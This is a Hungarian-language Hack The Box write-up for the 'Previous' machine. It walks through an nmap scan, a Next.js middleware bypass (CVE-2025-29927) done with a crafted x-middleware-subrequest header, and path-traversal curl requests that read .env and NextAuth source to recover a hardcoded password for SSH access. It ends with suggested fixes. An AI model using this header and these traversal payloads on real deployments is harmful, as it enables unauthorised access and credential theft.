Skip to content

Previous - Hack The Box

Platform: Linux
IP: 10.129.140.149
Difficulty: Medium
Author: NoSec

🚨 Kövesd élőben a HTB-t — leakek, tippek és mélyebb writeupok
👉 t.me/nosecpwn
Ne olvasgass. Csatlakozz.


/etc/hosts szerkesztése

sudo sh -c 'echo "10.129.140.149 previous.htb" >> /etc/hosts'

Felderítés – Szolgáltatások feltérképezése

Nmap (gyors)

nmap -sCV -p- --min-rate 10000 previous.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 22:22 CEST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 84.90% done; ETC: 22:22 (0:00:01 remaining)
Nmap scan report for previous.htb (10.129.140.149)
Host is up (0.029s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.00 seconds

Lényeges portok: - 22/tcp SSH - 80/tcp HTTP (nginx → mögötte egy Next.js app)

A http://previous.htb böngészésekor egy Next.js oldal jön be, a dokumentáció a /docs alatt van, de a nem hitelesített kérések 302 → /api/auth/signin-re (NextAuth) mennek.


A támadási felület megtalálása

Statikus assetek böngészése közben feltűnik: - Doksi oldalak /_next/static/chunks/pages/docs/... alatt - Egy letöltő helper link: /api/download?example=hello-world.ts

A közvetlen /docs vagy /api/download kérések bejelentkezésre irányítanak. Ez erősen arra utal, hogy middleware áll az útban ezeknél az útvonalaknál.

A gép sérülékeny a Next.js middleware al-kérés megkerülés – CVE-2025-29927 hibára.
Röviden: ha a kérés tartalmaz egy speciális x-middleware-subrequest fejlécet, a Next úgy kezeli, mintha belső al-kérés lenne, és a userland auth/preview middleware-t kihagyja.


Next.js middleware megkerülése (CVE-2025-29927)

Használjuk a speciális fejlécet:

H='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

A megkerülés ellenőrzése egy védett oldalon

curl -i -H "$H" http://previous.htb/docs | head

Most már 200 OK HTML érkezik a doksiból, nem pedig 302 a /api/auth/signin felé.

A download API tesztelése

curl -i -H "$H" "http://previous.htb/api/download?example=hello-world.ts"

Visszaadja a TypeScript példafájlt — a hozzáférés működik.


A letöltő végpont LFI-vá alakítása

Az example paramétert szerveroldalon path-joinolják. A middleware megkerülése után elérhetünk fájlokat az alkalmazás telepítési gyökere körül (relatív elérési utak).

Szerezzünk meg pár érdekes fájlt:

# App package.json (layout / router infó)
curl -s -H "$H"   "http://previous.htb/api/download?example=../../../../../../app/package.json"

# Env fájl (itt: csak NEXTAUTH_SECRET)
curl -s -H "$H"   "http://previous.htb/api/download?example=../../../../../../app/.env"

# Middleware manifest (matcher-ek & preview kulcsok)
curl -s -H "$H"   "http://previous.htb/api/download?example=../../../../../../app/.next/server/middleware-manifest.json"

A lényeg: dumpoljuk a lefordított NextAuth útvonalat, hogy lássuk a hitelesítés működését:

curl -s -H "$H"   "http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js"

A fájlban megtaláljuk az authorize logikát:

authorize: async (creds) =>
  creds?.username === "jeremy" &&
  creds.password === (process.env.ADMIN_SECRET ?? "<REDACTED>")
    ? { id: "1", name: "Jeremy" }
    : null

Nincs ADMIN_SECRET a .env-ben → a kódba égetett tartalék jelszó aktív:

<REDACTED>

SSH jeremy-ként → user

Próbáljuk ki SSH-val a talált adatokat:

ssh jeremy@previous.htb

Bent vagyunk. Jöhet a user flag:

cat ~/user.txt

User flag megvan!


Megjegyzések & javasolt javítások (blue-team barát)

  • CVE-2025-29927 (Next.js): frissíts Next.js-re, amelyben a hiba javítva van; nginx-ben blokkolni/szűrni az x-middleware-subrequest fejlécet.
  • LFI a /api/download-ban: normalizálás és .. teljes tiltása, allowlist, vagy biztonságos statikus gyökér alól kiszolgálás (ne user által kontrollált path-join).
  • Secretek: soha ne legyen kódba égetett fallback jelszó. Használj rendes környezeti secreteket, és rotáld őket.
  • Hitelesítő adatok újrafelhasználása: ne használd ugyanazt a jelszót az appban és SSH-n. SSH-hoz kulcs alapú auth a preferált.

🧠 A root privesc (Terraform provider cache trükk) szándékosan kimarad — most csak a user volt a cél.
A teljes út a box aktív időszakában a privát csoportban érhető el:
📡 t.me/nosecpwn